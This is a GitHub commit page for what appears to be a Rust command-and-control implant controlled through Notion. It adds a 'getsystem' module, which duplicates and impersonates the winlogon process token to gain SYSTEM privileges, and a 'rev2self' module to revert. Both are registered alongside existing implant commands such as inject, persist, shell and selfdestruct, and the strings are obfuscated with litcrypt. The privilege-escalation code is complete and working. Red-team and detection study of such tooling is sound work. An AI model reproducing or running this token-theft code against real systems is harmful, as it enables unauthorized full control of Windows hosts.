Skip to content

Commit

Permalink
Merge pull request #117 from mttaggart/taggart
Browse files Browse the repository at this point in the history
getsystem/rev2self
  • Loading branch information
HuskyHacks committed Jun 2, 2022
2 parents a828217 + bbee7fb commit 12b6112
Show file tree
Hide file tree
Showing 4 changed files with 243 additions and 34 deletions.
65 changes: 65 additions & 0 deletions agent/Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

99 changes: 99 additions & 0 deletions agent/src/cmd/getsystem.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
#[cfg(windows)] use windows::{
core::{PSTR, PWSTR, PCWSTR},
Win32::{
Foundation::{
CloseHandle,
HANDLE
},
System::Threading::{
GetCurrentProcess,
OpenProcessToken,
OpenProcess,
PROCESS_ALL_ACCESS
},
Security::{
GetTokenInformation,
DuplicateToken,
ImpersonateLoggedOnUser,
SecurityImpersonation,
TokenElevation,
TOKEN_ELEVATION,
TOKEN_QUERY,
TOKEN_DUPLICATE
}
}
};

#[cfg(windows)] use std::mem;
#[cfg(windows)] use std::ffi::c_void;
#[cfg(windows)] use libc;
#[cfg(windows)] use sysinfo::{ProcessExt, PidExt, System, SystemExt, Pid, Process};
#[cfg(windows)] use whoami;
use std::error::Error;
use litcrypt::lc;
#[cfg(windows)] use crate::cmd::getprivs::is_elevated;
use crate::logger::{Logger, log_out};
use crate::cmd::notion_out;

#[cfg(windows)]
fn get_processes(proc_name: &str) -> Vec<(u32, String)> {
let sys = System::new_all();
sys.processes()
.iter()
.filter(|(_, n) | {
n.name().to_lowercase().contains(proc_name)
})
.map(|(p, n)| {
(p.as_u32(), n.name().to_owned())
})
.collect()
}

/// Lists processes. Returns PID and process name.
pub async fn handle(logger: &Logger) -> Result<String, Box<dyn Error>> {
#[cfg(windows)] {
if is_elevated() {
unsafe {
logger.info(log_out!("Elevated! Let's get that SYSTEM"));

let mut winlogon_token_handle = HANDLE(0);
let mut duplicate_token_handle = HANDLE(0);
let winlogon_processes = get_processes("winlogon");
if winlogon_processes.is_empty() {
return notion_out!("Couldn't find winlogon!");
}
let winlogon_pid: u32 = winlogon_processes[0].0;
logger.debug(log_out!("Winlogon pid: ", winlogon_pid.to_string().as_str()));
// OpenProcess
let winlogon_proc_handle = OpenProcess(PROCESS_ALL_ACCESS, false, winlogon_pid);
// OpenProcessToken
if OpenProcessToken(winlogon_proc_handle, TOKEN_DUPLICATE, &mut winlogon_token_handle).0 != 0 {
} else {
return notion_out!("[!] Couldn't get Winlogon Token!");
}
// Duplicate Token
if DuplicateToken(winlogon_token_handle, SecurityImpersonation, &mut duplicate_token_handle).0 != 0 {
logger.debug(log_out!("Duplicated Token!"));
} else {
return notion_out!("[!] Couldn't duplicate token!");
}
// ImpersonateLoggedOnUser
if ImpersonateLoggedOnUser(duplicate_token_handle).0 != 0 {
logger.info(log_out!("Impersonated!"));
CloseHandle(winlogon_proc_handle);
return notion_out!("I am now ", whoami::username().as_str());
}
return notion_out!("Couldn't get system!");
// Close Handles
// CloseHandle(duplicate_token_handle);

}

} else {
notion_out!("[!] You ain't got da JUICE!")
}
}
#[cfg(not(windows))] {
notion_out!("This module only works on Windows!")
}
}
76 changes: 42 additions & 34 deletions agent/src/cmd/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -13,11 +13,13 @@ mod config;
mod download;
pub mod elevate;
pub mod getprivs;
mod getsystem;
mod inject;
mod persist;
mod portscan;
mod ps;
mod pwd;
mod rev2self;
mod runas;
mod save;
pub mod shell;
Expand Down Expand Up @@ -52,11 +54,13 @@ pub enum CommandType {
Download,
Elevate,
Getprivs,
Getsystem,
Inject,
Portscan,
Persist,
Ps,
Pwd,
Rev2Self,
Save,
Selfdestruct,
Runas,
Expand Down Expand Up @@ -169,24 +173,26 @@ impl NotionCommand {
let command_args = CommandArgs::from_split(command_words);

let command_type: CommandType = match t {
"cd" => CommandType::Cd,
"config" => CommandType::Config,
"download" => CommandType::Download,
"elevate" => CommandType::Elevate,
"getprivs" => CommandType::Getprivs,
"inject" => CommandType::Inject,
"persist" => CommandType::Persist,
"portscan" => CommandType::Portscan,
"ps" => CommandType::Ps,
"pwd" => CommandType::Pwd,
"runas" => CommandType::Runas,
"save" => CommandType::Save,
"cd" => CommandType::Cd,
"config" => CommandType::Config,
"download" => CommandType::Download,
"elevate" => CommandType::Elevate,
"getprivs" => CommandType::Getprivs,
"getsystem" => CommandType::Getsystem,
"inject" => CommandType::Inject,
"persist" => CommandType::Persist,
"portscan" => CommandType::Portscan,
"ps" => CommandType::Ps,
"pwd" => CommandType::Pwd,
"rev2self" => CommandType::Rev2Self,
"runas" => CommandType::Runas,
"save" => CommandType::Save,
"selfdestruct" => CommandType::Selfdestruct,
"shell" => CommandType::Shell,
"shutdown" => CommandType::Shutdown,
"sysinfo" => CommandType::Sysinfo,
"whoami" => CommandType::Whoami,
_ => CommandType::Unknown,
"shell" => CommandType::Shell,
"shutdown" => CommandType::Shutdown,
"sysinfo" => CommandType::Sysinfo,
"whoami" => CommandType::Whoami,
_ => CommandType::Unknown,
};
return Ok(NotionCommand { command_type: command_type, args: command_args});

Expand All @@ -197,24 +203,26 @@ impl NotionCommand {
/// Executes the appropriate function for the `command_type`.
pub async fn handle(&mut self, config_options: &mut ConfigOptions, logger: &Logger) -> Result<String, Box<dyn Error>> {
match &self.command_type {
CommandType::Cd => cd::handle(&mut self.args),
CommandType::Config => config::handle(&mut self.args, config_options, logger).await,
CommandType::Download => download::handle( &mut self.args, logger).await,
CommandType::Elevate => elevate::handle(&mut self.args, config_options).await,
CommandType::Getprivs => getprivs::handle().await,
CommandType::Inject => inject::handle(&mut self.args, logger).await,
CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await,
CommandType::Portscan => portscan::handle(&mut self.args, logger).await,
CommandType::Ps => ps::handle().await,
CommandType::Pwd => pwd::handle().await,
CommandType::Runas => runas::handle(&self.args).await,
CommandType::Save => save::handle(&mut self.args, config_options).await,
CommandType::Cd => cd::handle(&mut self.args),
CommandType::Config => config::handle(&mut self.args, config_options, logger).await,
CommandType::Download => download::handle( &mut self.args, logger).await,
CommandType::Elevate => elevate::handle(&mut self.args, config_options).await,
CommandType::Getprivs => getprivs::handle().await,
CommandType::Getsystem => getsystem::handle(logger).await,
CommandType::Inject => inject::handle(&mut self.args, logger).await,
CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await,
CommandType::Portscan => portscan::handle(&mut self.args, logger).await,
CommandType::Ps => ps::handle().await,
CommandType::Pwd => pwd::handle().await,
CommandType::Rev2Self => rev2self::handle().await,
CommandType::Runas => runas::handle(&self.args).await,
CommandType::Save => save::handle(&mut self.args, config_options).await,
CommandType::Selfdestruct => selfdestruct::handle().await,
CommandType::Shell => shell::handle(&mut self.args).await,
CommandType::Shutdown => shutdown::handle().await,
CommandType::Sysinfo => sysinfo::handle().await,
CommandType::Whoami => whoami::handle().await,
CommandType::Unknown => unknown::handle().await,
CommandType::Shell => shell::handle(&mut self.args).await,
CommandType::Shutdown => shutdown::handle().await,
CommandType::Sysinfo => sysinfo::handle().await,
CommandType::Whoami => whoami::handle().await,
CommandType::Unknown => unknown::handle().await,
}
}
}
37 changes: 37 additions & 0 deletions agent/src/cmd/rev2self.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
#[cfg(windows)] use windows::{
Win32::{
Foundation::{
BOOL,
},
Security::{
RevertToSelf
}
}
};
#[cfg(windows)] use whoami;
use std::error::Error;
use litcrypt::lc;
use crate::logger::{Logger, log_out};
use crate::cmd::notion_out;

/// Reverts to self if impersonated
pub async fn handle() -> Result<String, Box<dyn Error>> {

#[cfg(windows)] {
let username = whoami::username();
if username == "SYSTEM" {
unsafe {
if RevertToSelf().0 == 1 {
return notion_out!("Reverted to Self: ", whoami::username().as_str());
} else {
return notion_out!("Could not revert");
}
}
}
notion_out!("Not SYSTEM, no reason to revert!")
}

#[cfg(not(windows))] {
notion_out!("This module only works on Windows!")
}
}

0 comments on commit 12b6112

Please sign in to comment.